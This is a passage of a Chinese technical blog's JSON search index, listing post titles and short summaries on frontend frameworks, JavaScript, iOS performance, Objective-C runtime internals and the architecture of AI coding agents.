…","title":"浮动、清除浮动和BFC"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-013/","summary":"如何自定义指令？ 其实关于这个问题官方文档上已经有了很好的示例的，我们先来温故一下。\n除了核心功能默认内置的指令 (v-model 和 v-show)，Vue 也允许注册自定义指令。注意，在 Vue2.0 中，代码复用和抽象的主要形式是组件。然而，有的情况下，你仍然需要对普通 DOM 元素进行底层操作，这时候就会用到自定义指令。举个聚焦输入框的例子，如下：\n当页面加载时，该元素将获得焦点 (注意： autofocus 在移动版 Safari 上不工作)。事实上，只要你在打开这个页面后还没点击过任何内容，这个输入框就应当还是处于聚焦状态。现在让我们用指令来实现这个功能：\n// 注册一个全局自定义 …","title":"自定义指令"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/","summary":"1. 什么是 WeakSet WeakSet 结构与 Set 类似，也是不重复的值的集合，具备\nWeakSet.prototype.add(value) ：向 WeakSet 实例添加一个新成员。 WeakSet.prototype.delete(value) ：清除 WeakSet 实例的指定成员。 WeakSet.prototype.has(value) ：返回一个布尔值，表示某个值是否在 WeakSet 实例之中。 这三个方法。但是，它与 Set 有两个区别。 区别一：WeakSet 的成员只能是对象和Symbol类型，而不能是其他类型的值，我们用代码演示一下 从代码中可以看到，想像 …","title":"WeakMap 和 WeakSet"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-013/","summary":"浏览器中的JavaScript程序是典型的事件驱动型程序，即它们会等待用户触发后才真正的执行，而基于的JavaScript的服务器通常要等待客户端通过网络发送请求，然后才能执行。这种异步编程在JavaScript是很常见的，下面就来介绍几个异步编程的重要特性，它们可以使编写异步代码更容易。\n本文将按照异步编程方式的出现时间来归纳整理： 一、什么是异步 下面先来看看同步和异步的概念：\n同步： 在执行某段代码时，在没有得到返回结果之前，其他代码暂时是无法执行的，但是一旦执行完成拿到返回值，即可执行其他代码。也就是说，在此段代码执行完未返回结果之前，会阻塞之后的代码执行，这样的情况称为同步。 异步： …","title":"异步编程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-12/","summary":" \u0026amp;ldquo;过早优化是万恶之源，但在正确的时机做正确的优化，则是工程艺术的巅峰。\u0026amp;rdquo;\n12.1 问题引入 一个成熟的 AI Agent 系统面临着多维度的性能挑战。Claude Code 作为一个包含数十万行 TypeScript 代码的终端 AI 助手，需要同时解决以下问题：\n启动速度：用户在终端输入 claude 后，如何在亚秒级时间内完成初始化？数百个模块的加载、配置的解析、API 客户端的构建——任何一项阻塞都意味着体验的劣化。 上下文窗口管理：模型的上下文窗口是有限的（通常为 200K tokens），而一个长时间的编程会话可能产生数百万 tokens 的对话内容。如何 …","title":"第12章 性能优化算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/kvc-explained/","summary":"Key-Value Coding / Foundation behavior with objc4 runtime support\nObjective-C KVC：从字符串 key 到对象读写 KVC 的核心价值是：把“访问某个属性或实例变量”抽象成 valueForKey:、setValue:forKey: 这样的字符串协议。 读完这一页，你应该能说清楚它解决什么问题、Foundation 大致怎样查找成员， 以及 objc4 runtime 在消息发送、元数据查询、ivar 直写和内存管理上提供了哪些支撑。\n适合第一次系统理解 KVC 标注 objc4 / Foundation 边界 含关 …","title":"Objective-C KVC 作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E6%B2%BB%E7%90%86/","summary":"前面几篇分别讲了耗电的原理、检测、以及CPU/网络/定位/屏幕的具体优化手段。本文把这些内容整合起来，给出一套面向工程团队的 耗电治理体系：从研发规范、线上监控、问题排查到常态化运营。\n耗电治理是 APM 资源子系的一部分，与稳定性、流畅性、启动指标共用同一套监控与告警基础设施。完整的 APM 建设方案见 APM 系列：数据采集、B端平台设计。\n一、治理体系全景 一个成熟的iOS耗电治理体系通常由四个闭环组成：\nflowchart TB subgraph Dev[\u0026#34;研发侧\u0026#34;] R1[\u0026#34;能效规范\u0026#34;] R2[\u0026#34;架构层能效约束\u0026#34;] R3[\u0026#34;Code Review清单\u0026#34;] end subgraph …","title":"耗电-治理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-%E7%BB%93%E6%9E%84%E4%BD%93-%E7%B1%BB%E5%92%8C%E5%8D%8F%E8%AE%AE/","summary":"在Objective-C底层原理-NSObject文章中，我们深入了解了Objective-C对象的底层实现。本文将探讨Swift中类和结构体的底层原理。\nSwift数据结构的分类 Swift中的类根据是否继承自NSObject，在底层实现上存在显著差异：\n继承自NSObject的Swift类：兼容Objective-C运行时，支持完整的Objective-C特性 纯Swift类：使用Swift原生运行时，性能更优但Objective-C互操作性受限 Swift中结构体是值类型，具有以下核心特征：\n栈上分配内存（非逃逸情况） 值语义和完整拷贝 写时拷贝优化（COW） 静态方法派发 Swift类 …","title":"Swift底层原理-结构体、类和协议"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-agent-harness/","summary":" 系列第一篇把 OpenClaw 的架构地图摊开，第二篇深入 Gateway 控制平面。这一篇，我们钻进整个项目的心脏——src/agents/，看 OpenClaw 怎么处理最复杂的一件事：当 Gateway 接到一条用户消息之后，怎么把它变成一轮真正的 LLM turn + Tool 循环。\n这一层代码的体量和复杂度非常惊人：\nsrc/agents/pi-embedded-runner/run.ts 单文件 2160 行，是整个 agent 循环的驱动器。 src/agents/pi-embedded-runner/compact.ts 1148 行，专门处理上下文压缩。 整个 …","title":"OpenClaw 源码导读（三）：Agent Harness — 为\"每一家 LLM 都能兜住\"而生的执行管线"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/","summary":" 状态管理是一个前端界老生常谈的话题了，所有前端框架的发展历程中都离不开状态管理的迭代与更替，对于react来说呢，整个状态管理的发展也随着react架构的变更和新特性的加入而不停的做调整，作为一个一起伴随react成长了快5年的开发者，经历过reflux、redux、mobx，以及其他redux衍生方案dva、mirror、rematch等等后，我觉得它们都不是我想要的状态管理的终极形态，所以为了打造一个和react结合得最优雅、使用起来最简单、运行起来最高效的状态管理方案，踏上了追梦旅途。\n为何需要状态管理 为何需要在前端引用里引入状态管理，基本上大家都达成了共识，在此我总结为3点：\n随着 …","title":"状态管理工程化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/","summary":"1、什么是延迟呢？ 延迟其实就是我们在网页浏览或者使用应用时，从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话，你说完话后，朋友听到并回应你所说话的时间差一样。\n我们的最终目标是创建一个系统，让这个时间差变得尽可能短，也就是实现零延迟。但现实世界中，有各种各样的问题会导致系统出现延迟。如果系统的延迟很低，那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接，浏览器都会向服务器发出一个请求信号，然后服务器需要处理这个请求，获取需要的信息，最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差，这就是延迟。所以，我们要不断努力降低延迟，提高系统的响 …","title":"网络延迟和丢包"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-014/","summary":"什么是代码分割 代码分割是一种将代码分割成多个小块的方式，然后按需加载或并行加载所需的块的技术。代码分割可以用于减少应用程序的初始加载时间或将代码切割成可按需加载的块，从而减少应用程序所需的总体代码量。\n为什么要使用代码分割 在大型应用程序中，将所有代码放在一个文件中会导致应用程序加载时间过长，影响用户体验。为了解决这个问题，我们需要将代码分割成小块，然后按需加载或并行加载所需的块。\n代码分割的方式 1. 动态导入 import import()是 JavaScript 中的一个动态导入语法，它允许在运行时异步加载模块。它返回一个 Promise，该 Promise 在模块加载完成后被解析为一 …","title":"代码分割"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-014/","summary":"HTML 的实体字符（HTML Entities）是用于显示某些特殊字符或符号的编码形式。\nHTML 中某些符号具有特殊含义，例如 \u0026amp;lt;, \u0026amp;gt;, \u0026amp;amp; 等字符不能直接在网页内容中使用，所以需要使用实体字符来表示它们。\n常见的 HTML 实体字符 空格和控制字符\n\u0026amp;amp;nbsp;：空格字符 (non-breaking space)\n\u0026amp;amp;nbsp; \u0026amp;lt;!-- 表示一个空格 --\u0026amp;gt; \u0026amp;amp;lt;：小于号 \u0026amp;lt;\n\u0026amp;amp;lt;div\u0026amp;amp;gt; \u0026amp;lt;!-- 表示 \u0026amp;lt;div\u0026amp;gt; --\u0026amp;gt; \u0026amp;amp;gt;：大于号 \u0026amp;gt; …","title":"实体字符（转义字符）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/","summary":"说起CSS单位，我们最熟悉的可能就是像素单位（px），它是一个绝对单位，也就是说一个10px的文字，放在哪里都是一样大的。单位可以影响颜色、距离、尺寸等一系列的属性。CSS中单位的形式有很多种，下面就分别来看看这些单位。 1. 相对单位 相对单位就是相对于另一个长度的长度。CSS中的相对单位主要分为两大类：\n字体相对单位，他们都是根据font-size来进行计算的。常见的字体相对单位有：em、rem、ex、ch； 视窗相对单位，他们都是根据视窗大小来决定的。常见的视窗相对单位有vw、vh、vmax、vmin。 下面就来看看这些常见的CSS单位。\n（1）em 和 rem em是最常见的相对长度单 …","title":"单位"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-014/","summary":"1. 什么是Mixin？ 想要使用一个事物或者工具，我们首要先了解它是什么，这样我们才好对症下药。\n其实Mixin不是Vue专属的，可以说它是一种思想，也可以说它就是混入的意思，在很多开发框架中都实现了Mixin(混入)，我们这里主要讲解的是Vue中的Mixin。\n老规矩，先看官方文档。\n官方解释：\n混入 (mixin) 提供了一种非常灵活的方式，来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时，所有混入对象的选项将被“混合”进入该组件本身的选项。\n官方的解释通常都是晦涩难懂的，因为要专业和准确嘛！\n我们可以用我们自己容易理解的话来说说Vue中的 …","title":"mixin-混入"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-014/","summary":"前言 我们或多或少都听过“数据绑定”这个词，“数据绑定”的关键在于监听数据的变化，可是对于这样一个对象：var obj = {value: 1}，我们该怎么知道 obj 发生了改变呢？\ndefinePropety ES5 提供了 Object.defineProperty 方法，该方法可以在一个对象上定义一个新属性，或者修改一个对象的现有属性，并返回这个对象。\n语法\nObject.defineProperty(obj, prop, descriptor)\n参数\nobj: 要在其上定义属性的对象。 prop: 要定义或修改的属性的名称。 descriptor: 将被定义或修改的属性的描述符。 举 …","title":"defineProperty 与 proxy"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-014/","summary":"单线程的 JavaScript 同步与异步 JavaScript 在设计之初是作为浏览器脚本语言，主要用于与用户进行页面交互和操纵 DOM。因此，为避免由不可预测的用户操作可能带来的复杂的并发问题，JavaScript 只能设计成单线程的，这也是这门语言的核心特征之一。\nJS 的宿主环境通过仅提供一个线程运行 JS 来保证 JS 代码的单线程运行。\n单线程意味着 JS 引擎在同一时间只能做一件事情，即同步地执行代码。但在代码执行过程中不可避免地会遇到一些无法立即执行的任务，例如：\n计时器到达时间后要执行的任务 \u0026amp;mdash; setInterval、setTimeout 网络请求完成后要执行的 …","title":"事件循环"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-13/","summary":" \u0026amp;ldquo;真正的韧性不在于永不失败，而在于每次失败后都能优雅地站起来。\u0026amp;rdquo;\n13.1 问题引入 想象这样一个场景：用户正在使用 Claude Code 进行一个复杂的代码重构任务。Agent 已经分析了数十个文件，制定了修改计划，正在逐步执行。此时 API 突然返回 HTTP 529（Overloaded）错误。\n这个看似简单的场景引发了一系列深刻的工程决策：\n立即失败？ 用户等待了几分钟的上下文将全部丢失，体验极差。 无限重试？ 如果服务器已过载，盲目重试只会加剧雪崩，使所有用户的体验都恶化。 等待后重试？ 等多久？如果所有客户端都在同一时刻重试呢？ 降级到备用模型？ 什么条 …","title":"第13章 容错与恢复算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/kvo-explained/","summary":"objc4 runtime reading note\nKVO：从“属性变化通知”到 runtime 动态子类 KVO（Key-Value Observing）让一个对象在另一个对象的某个 key path 变化时收到回调。 在这个 objc4 仓库里，Foundation 的 KVO 主体代码不在源码中；但 runtime 暴露了 KVO 需要的关键能力： 复制类、切换对象的 isa、判断 ivar 内存语义，并保证这些操作在初始化、弱引用和并发加载场景下安全。\n入口：addObserver 核心：动态子类 通知：will/didChange 底层：objc_duplicateClass\n阅读 …","title":"Objective-C KVO 作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/timer%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/","summary":"iOS 开发中常用的定时器有 NSTimer、CADisplayLink 和 GCD Timer。它们各有特点，但在使用时都有一些需要注意的问题。\n常见定时器类型 1. NSTimer 最常用的定时器，基于 RunLoop 实现：\n// 自动添加到当前 RunLoop 的 DefaultMode NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval:1.0 target:self selector:@selector(timerFired) userInfo:nil repeats:YES]; // 手动创建，需要手动添加到 …","title":"iOS 定时器的注意事项"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-channels%E4%B8%8E%E6%89%A9%E5%B1%95%E7%94%9F%E6%80%81/","summary":" 前三篇我们看清了 OpenClaw 的三副骨架：架构全景、Gateway 控制平面、Agent Harness 执行管线。这一篇是压轴篇，我们看它的\u0026amp;quot;血肉\u0026amp;quot;——channels/、node-host/、canvas-host/、plugins/、skills/、sandbox/。OpenClaw 真正\u0026amp;quot;好用\u0026amp;quot;的感觉，是从这一层来的：一条消息从 WhatsApp 进来、触发 iOS 上的摄像头、在 Android 上渲染一张 Canvas、最后把结果发回 Slack 线程——整个过程中 Gateway 本身一行代码都不需要改。\n本文涵盖 118 个 …","title":"OpenClaw 源码导读（四）：Channels、Nodes 与扩展生态"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E7%BD%91%E7%BB%9C%E4%BC%98%E5%8C%96/","summary":"网络是iOS设备上仅次于屏幕的耗电大户。和其他模块不同，网络耗电的\u0026amp;quot;坑\u0026amp;quot;非常隐蔽——请求本身只持续几十毫秒，但无线电（Radio）会有10~20秒的\u0026amp;quot;尾能耗\u0026amp;quot;。本文从无线电能效模型出发，给出具体的网络优化手段。\n一、无线电能效模型回顾 RRC状态机再看一眼 无线电不是\u0026amp;quot;开就费电、关就不费电\u0026amp;quot;这么简单。它在连接和空闲之间存在中间状态：\nstateDiagram-v2 [*] --\u0026gt; Idle: 初始/长时间空闲 Idle --\u0026gt; Connected: 发送/接收 Connected --\u0026gt; ShortDRX: 空闲~1秒 …","title":"耗电-网络优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-015/","summary":"1、XSS Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS\nwhat is XSS? 我们先从字面意义上看一下,跨站-\u0026amp;gt;顾名思义就是我们从一个网站跑到了另外一个网站上,脚本-\u0026amp;gt;也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。\n例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie\nXSS危害 1、利⽤虚假输⼊表单骗取⽤户个⼈信息。 2、利⽤脚本窃取 …","title":"网络安全"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/","summary":"在开始介绍状态提升之前，我想先介绍一下 Prop Drilling（属性钻取）的概念。\n什么是Prop Drilling ？ 那么，什么是状态提升呢？我们都知道 React 中的prop drilling（属性钻取）。prop drilling意味着从父组件向子组件传递一些 props。通过这种方式，我们可以在不同的组件之间共享数据或函数。可以使用 prop 传递任何类型的数据。\n在上面的示例代码中，你可以看到，Home 组件具有一个名为 name 的状态，并且她与子组件共用 name 变量。在 React 中，只能将数据从父组件传递到子组件。\n什么是 State Lifting 一般来说，状 …","title":"react 状态提升"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/bfc/","summary":"BFC 是前端面试中经常会被问到的一个知识点，今天就来带大家深入了解下什么是 BFC 以及它的作用。\n文档流 在介绍BFC之前，需要先给大家介绍一下文档流。\n我们常说的文档流其实分为定位流、浮动流、普通流三种。\n绝对定位(Absolute positioning) 如果元素的属性 position 为 absolute 或 fixed，它就是一个绝对定位元素。\n在绝对定位布局中，元素会整体脱离普通流，因此绝对定位元素不会对其兄弟元素造成影响，而元素具体的位置由绝对定位的坐标决定。\n它的定位相对于它的包含块，相关CSS属性：top、bottom、left、right；\n对于 position: …","title":"BFC"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-015/","summary":"HTML5 离线存储是指通过 Web Storage API 提供的一种在客户端本地存储数据的机制，主要有两种方式：localStorage 和 sessionStorage。与传统的 Cookie 相比，Web Storage 提供了更大容量、灵活性，并且数据不会随着 HTTP 请求自动发送到服务器，这可以优化性能和安全性。此外，HTML5 还支持 离线应用缓存（Application Cache） 和 IndexedDB，用于更加复杂的数据存储需求和离线应用。\n工作原理 HTML5 的离线存储主要通过以下几个机制来实现数据存储和访问：\nlocalStorage：一种持久性存储机制，数据存储 …","title":"离线存储"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-015/","summary":"一、Vue.util：Vue.js的工具函数集合 Vue.util是Vue.js内部的一个工具函数集合，包含了多种实用的方法，用于处理各种常见的任务。然而，需要注意的是，Vue.util并不是Vue.js公开API的一部分，这意味着它的使用可能会随着Vue.js版本的更新而发生变化。因此，在开发过程中，应尽量避免直接使用Vue.util中的方法，而是使用Vue.js提供的公开API或其他更稳定的解决方案。\n尽管如此，了解Vue.util中的一些方法仍然有助于我们更好地理解Vue.js的内部机制。例如，Vue.util.extend方法用于将一个或多个对象的属性混合到目标对象中，这在需要将多个对 …","title":"工具函数"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/reflect/","summary":"一、Reflect有什么用？ 一句话，Reflect没什么用，除了装装逼，让人看起来高大上以外，并不具有什么牛逼之处。\n准确讲应该是这样的，Reflect更像是一种语法变体，其挂在的所有方法都能找到对应的原始语法，也就是Reflect的替代性非常强。\n其实从Reflect这个单词本身字面意思就能体会出Reflect的神韵，Reflect的中文意思是“反射”，阳光照在镜子上反射，其实光子还是那些光子，只是变化了方向。\n举例说明：\nReflect对象挂载了很多静态方法，所谓静态方法，就是和Math.round()这样，不需要new就可以直接使用的方法。\n比较常用的两个方法就是get()和set() …","title":"Reflect"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-015/","summary":"前言 在JavaScript发展初期就是为了实现简单的页面交互逻辑，寥寥数语即可；如今CPU、浏览器性能得到了极大的提升，很多页面逻辑迁移到了客户端（表单验证等），随着web2.0时代的到来，Ajax技术得到广泛应用，jQuery等前端库层出不穷，前端代码日益膨胀，此时在JS方面就会考虑使用模块化规范去管理。 本文内容主要有理解模块化，为什么要模块化，模块化的优缺点以及模块化规范,并且介绍下开发中最流行的CommonJS, AMD, ES6、CMD规范。\n本文试图站在小白的角度，用通俗易懂的笔调介绍这些枯燥无味的概念，希望诸君阅读后，对模块化编程有个全新的认识和理解！\n一、模块化的理解 1.什 …","title":"模块化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-14/","summary":" \u0026amp;ldquo;好的架构不是预知未来，而是让未来的变化变得廉价。\u0026amp;rdquo; —— Robert C. Martin\n14.1 问题引入：当能力边界需要不断外扩 一个 Agent 系统在发布后必然面临一个根本性矛盾：用户需求是无限的，而核心代码的变更是昂贵的。每一次向核心代码中添加新功能，都意味着更高的耦合度、更大的回归测试面积、更长的发布周期。\nClaude Code 从第一天起就面对这个问题。它需要支持数十种斜杠命令、允许社区贡献新的技能、让每个用户拥有个性化的\u0026amp;quot;记忆\u0026amp;quot;，还要让企业能通过插件定制整个工作流——所有这些都不应该要求修改一行核心代码。\n这就是扩展性架构要解 …","title":"第14章：扩展性架构算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/hashtable2-explained/","summary":"objc4 runtime NXHashTable 集合结构\nruntime/hashtable2.mm 作用与实现原理 这个文件实现了旧 NeXT/Objective-C runtime 暴露的 NXHashTable：一个可存放任意指针或整数数据的哈希集合。它不保存 key-value 对；需要映射关系时，runtime 另用 maptable.mm 的 NXMapTable。\n一遍读懂 它用 callback 决定“怎么 hash、怎么判等、怎么释放”。 每个 bucket 是一条很短的冲突链。 bucket 中只有 1 个元素时直接存指针，避免额外分配。 元素数超过 bucket 数时 …","title":"runtime/hashtable2.mm 作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E8%80%97%E7%94%B5/","summary":"耗电（Energy Consumption）是移动应用质量的重要指标之一。一款耗电过快的App会直接影响用户的续航体验，轻则被用户吐槽，重则被系统标记为\u0026amp;quot;耗电大户\u0026amp;quot;（在iOS的\u0026amp;quot;设置 → 电池\u0026amp;quot;中显示），最终被用户卸载。\n本系列文章从iOS功耗模型入手，系统性地介绍耗电问题的原理、检测、优化与治理。\n为什么要关注耗电 iOS设备的电池容量有限（iPhone通常在3000~5000mAh），而应用的功耗会直接影响续航时间。苹果在iOS 8之后提供了\u0026amp;quot;电池用量\u0026amp;quot;统计入口，用户可以清楚地看到每个App消耗的电量比例。\n常见的耗电投诉场景： …","title":"耗电"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/","summary":"本文将系统介绍iOS中的内存管理机制，从程序内存布局、引用计数原理、ARC机制到系统级内存管理，帮助你建立完整的iOS内存管理知识体系。\n一、程序内存布局 内存区域划分 在iOS应用程序中，内存按照用途和管理方式分为以下几个区域：\n高地址 ┌─────────────────────────────────────┐ │ 栈区 (Stack) │ ↓ 向低地址增长 │ 局部变量、函数参数、返回地址 │ ├─────────────────────────────────────┤ │ ↕ │ │ 动态分配区 │ │ ↕ │ …","title":"iOS中的内存管理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-gateway%E6%8E%A7%E5%88%B6%E5%B9%B3%E9%9D%A2/","summary":" 在系列第一篇里我们看到，OpenClaw 的核心隐喻是 \u0026amp;ldquo;Gateway 是控制平面\u0026amp;rdquo;。它不存转储消息、不排队、不持久化事件流，而是一个长在 127.0.0.1:18789 上的状态化 RPC 服务器，所有客户端（CLI、macOS.app、iOS/Android Node、WebChat 浏览器、Canvas iframe）都靠一条 WebSocket 接入。\n这一篇拆开控制平面的五个层面：\n进程入口：CLI 怎么从 openclaw gateway 走到 Node 进程常驻 WebSocket 协议：握手帧、RPC 帧、Event 帧、状态快照与版本号 鉴权矩阵 …","title":"OpenClaw 源码导读（二）：Gateway 控制平面 — 一条 WebSocket 连上所有人"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/","summary":"前言 HTTP/2 相比于 HTTP/1，可以说是大幅度提高了网页的性能，只需要升级到该协议就可以减少很多之前需要做的性能优化工作，当然兼容问题以及如何优雅降级应该是国内还不普遍使用的原因之一。\n虽然 HTTP/2 提高了网页的性能，但是并不代表它已经是完美的了，HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。\n一、HTTP 协议 HTTP 协议是 HyperText Transfer Protocol（超文本传输协议）的缩写，它是互联网上应用最为广泛的一种网络协议。所有的 WWW 文件都必须遵守这个标准。伴随着计算机网络和浏览器的诞生，HTTP1.0 也随之而来，处于 …","title":"http2.0/http3.0"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-016/","summary":"React.forwardRef 对于ref转发，官网是这样描述的\nRef 转发是一项将 ref 自动地通过组件传递到其一子组件的技巧。对于大多数应用中的组件来说，这通常不是必需的。但其对某些组件，尤其是可重用的组件库是很有用的。\n想详细了解的可以去看官方文档 Refs 转发 – React (docschina.org)\n现在让我们直奔主题吧！\nReact.forwardRef(render)的返回值是react组件，接收的参数是一个 render函数，函数签名为render(props, ref)，第二个参数将其接受的 ref 属性转发到render返回的组件中。\n这项技术并不常见，但在以 …","title":"forwardRef 该怎么用？"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/web-workers/","summary":"在浏览器和服务器上，JavaScript程序在单个处理线程上运行。这意味着程序一次只能做一件事。简单来说，你的新电脑可能有32核的CPU，但当JavaScript应用程序运行时，其中31个核心都处于空闲状态。\nJavaScript的单线程避免了复杂的并发情况。如果两个线程同时尝试进行不兼容的更改会发生什么？例如，一个浏览器可能在另一个线程重定向到新的URL并从内存中清除该文档时正在更新DOM。Node.js、Deno和Bun都继承了浏览器的单线程引擎。\n这不是JavaScript特定的限制。大多数语言都是单线程的，但像PHP和Python这样的Web选项通常在Web服务器上运行，为每个用户请求 …","title":"Web Workers"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-016/","summary":"前言 CSS中有几个特别相近的几个属性。他们是transition,transform,animation。可能还有人对translate是什么也不清楚，那我们先给个简单的介绍。\n属性 含义 transition 过渡 用于设置元素的样式过度，和animation有着类似的效果，但细节上有很大的不同 transform 变形 用于元素进行旋转、缩放、移动或倾斜，和设置样式的动画并没有什么关系，就相当于color一样用来设置元素的“外表” animation 动画 css动画属性 translate 移动 只是transform的一个属性值，即移动。 transition 过渡 字面意思上来讲， …","title":"动画"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/nexttick/","summary":"nextTick 是 Vue 的一个核心实现，$nextTick方法将回调延迟到下次DOM更新循环之后执行。Vue 的 nextTick 其本质是对 JavaScript 执行原理 EventLoop 的一种应用。\nnextTick 的核心是利用了如 Promise 、MutationObserver、setImmediate、setTimeout的原生 JavaScript 方法来模拟对应的微/宏任务的实现，本质是为了利用 JavaScript 的这些异步回调任务队列来实现 Vue 框架中自己的异步回调队列\n前置知识 - js事件循环 JS 运行机制 JS 执行是单线程的，基于事件循环。事件 …","title":"$nextTick"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-016/","summary":"ES6（ECMAScript 2015）为JavaScript数组引入了多项扩展功能，这些功能不仅简化了数组操作，还提高了代码的可读性和效率。本文将详细介绍ES6数组扩展的主要功能和用法。\n一、扩展运算符（\u0026amp;hellip;） 扩展运算符可以用于数组的赋值、合并、解构赋值以及将字符串转为数组。\n赋值数组：\nlet arr1 = [100, 200, 300, [500]]; let arr2 = [...arr1]; // 浅拷贝 console.log(arr2 == arr1); // false arr1[0] = 400; console.log(arr2); // 不受影响 …","title":"数组扩展"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-016/","summary":"写在前面 我们知道垃圾回收机制是引擎来做的，JS引擎有很多种（各个浏览器都不同），其垃圾回收机制在一些细节及优化上略有不同，本文我们以一些通用的回收算法作为切入，再由 V8 引擎发展至今对该机制的优化为例（为什么以 V8 为例？因为它市场占有率大 😄 ），一步一步深入来助我们了解垃圾回收机制，因为只有真正了解垃圾回收机制，后面才能理解内存泄漏的问题以及手动预防和优化\nJavaScript 是门魅力无限的语言，关于它的 GC（垃圾回收）方面，你了解多少呢？想来大部分人是因为面试才去看一些面试题从而了解的垃圾回收，那在正式开始之前，给大家列几个小问题，大家可以先想一下答案，带着问题及答案再去看文章 …","title":"垃圾回收"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-15/","summary":" \u0026amp;ldquo;复杂系统从来不是一次性设计出来的，它是从一个可工作的简单系统逐步演化而来。\u0026amp;rdquo; — John Gall，《系统学》\n15.1 问题引入 经过前14章的深入分析，我们已经逐一拆解了 Claude Code 的每一个核心算法思想——从工具抽象到推理循环，从权限控制到多 Agent 协调，从 MCP 协议到钩子系统，从上下文压缩到容错重试。现在，一个自然的问题摆在面前：\n如果你要从零开始构建一个类似 Claude Code 的 Agent 系统，该怎么做？\n这不是一个简单的问题。Claude Code 的源码体量庞大，模块之间存在复杂的依赖关系。直接照搬源码既不现实也不明智 …","title":"第15章：从算法到实践：构建你的 Agent"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/maptable-explained/","summary":"objc4 runtime NXMapTable 开放寻址哈希表 runtime/maptable.h\nruntime/maptable.h 作用与实现原理 runtime/maptable.h 定义了 Objective-C runtime 里旧 NeXT 风格的 NXMapTable：一个通用的 key - value 指针映射表。 它不拥有业务对象，只负责把指针或整数形式的 key 映射到指针或整数形式的 value， 并通过回调把“怎么 hash、怎么比较、释放时怎么处理”交给调用方决定。\n存储模型连续桶数组，每个桶是 {key, value}。\n冲突处理开放寻址 + 线性探测。\n扩容 …","title":"runtime/maptable.h 作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-jetsamevent%E6%97%A5%E5%BF%97%E8%A7%A3%E8%AF%BB/","summary":"JetsamEvent 是 iOS 唯一由系统官方生成、且专门记录\u0026amp;quot;因内存原因终止进程\u0026amp;quot;的日志。它不记录线程堆栈，却完整刻画了发生强杀那一刻整机的内存分布——这使它成为 OOM 归因、阈值建模、后台生命周期治理最权威的数据源。\n本文聚焦 JetsamEvent 日志本身：存放位置、文件结构、字段含义、reason 类型、案例解读、自动化批量解析脚本，以及机型内存上限/iOS 版本差异等实战要点。OOM 监控治理的整体方法论见 崩溃-治理。\n1. Jetsam 与 JetsamEvent 是什么 iOS 通过 XNU 内核的 memorystatus 子系统（俗称 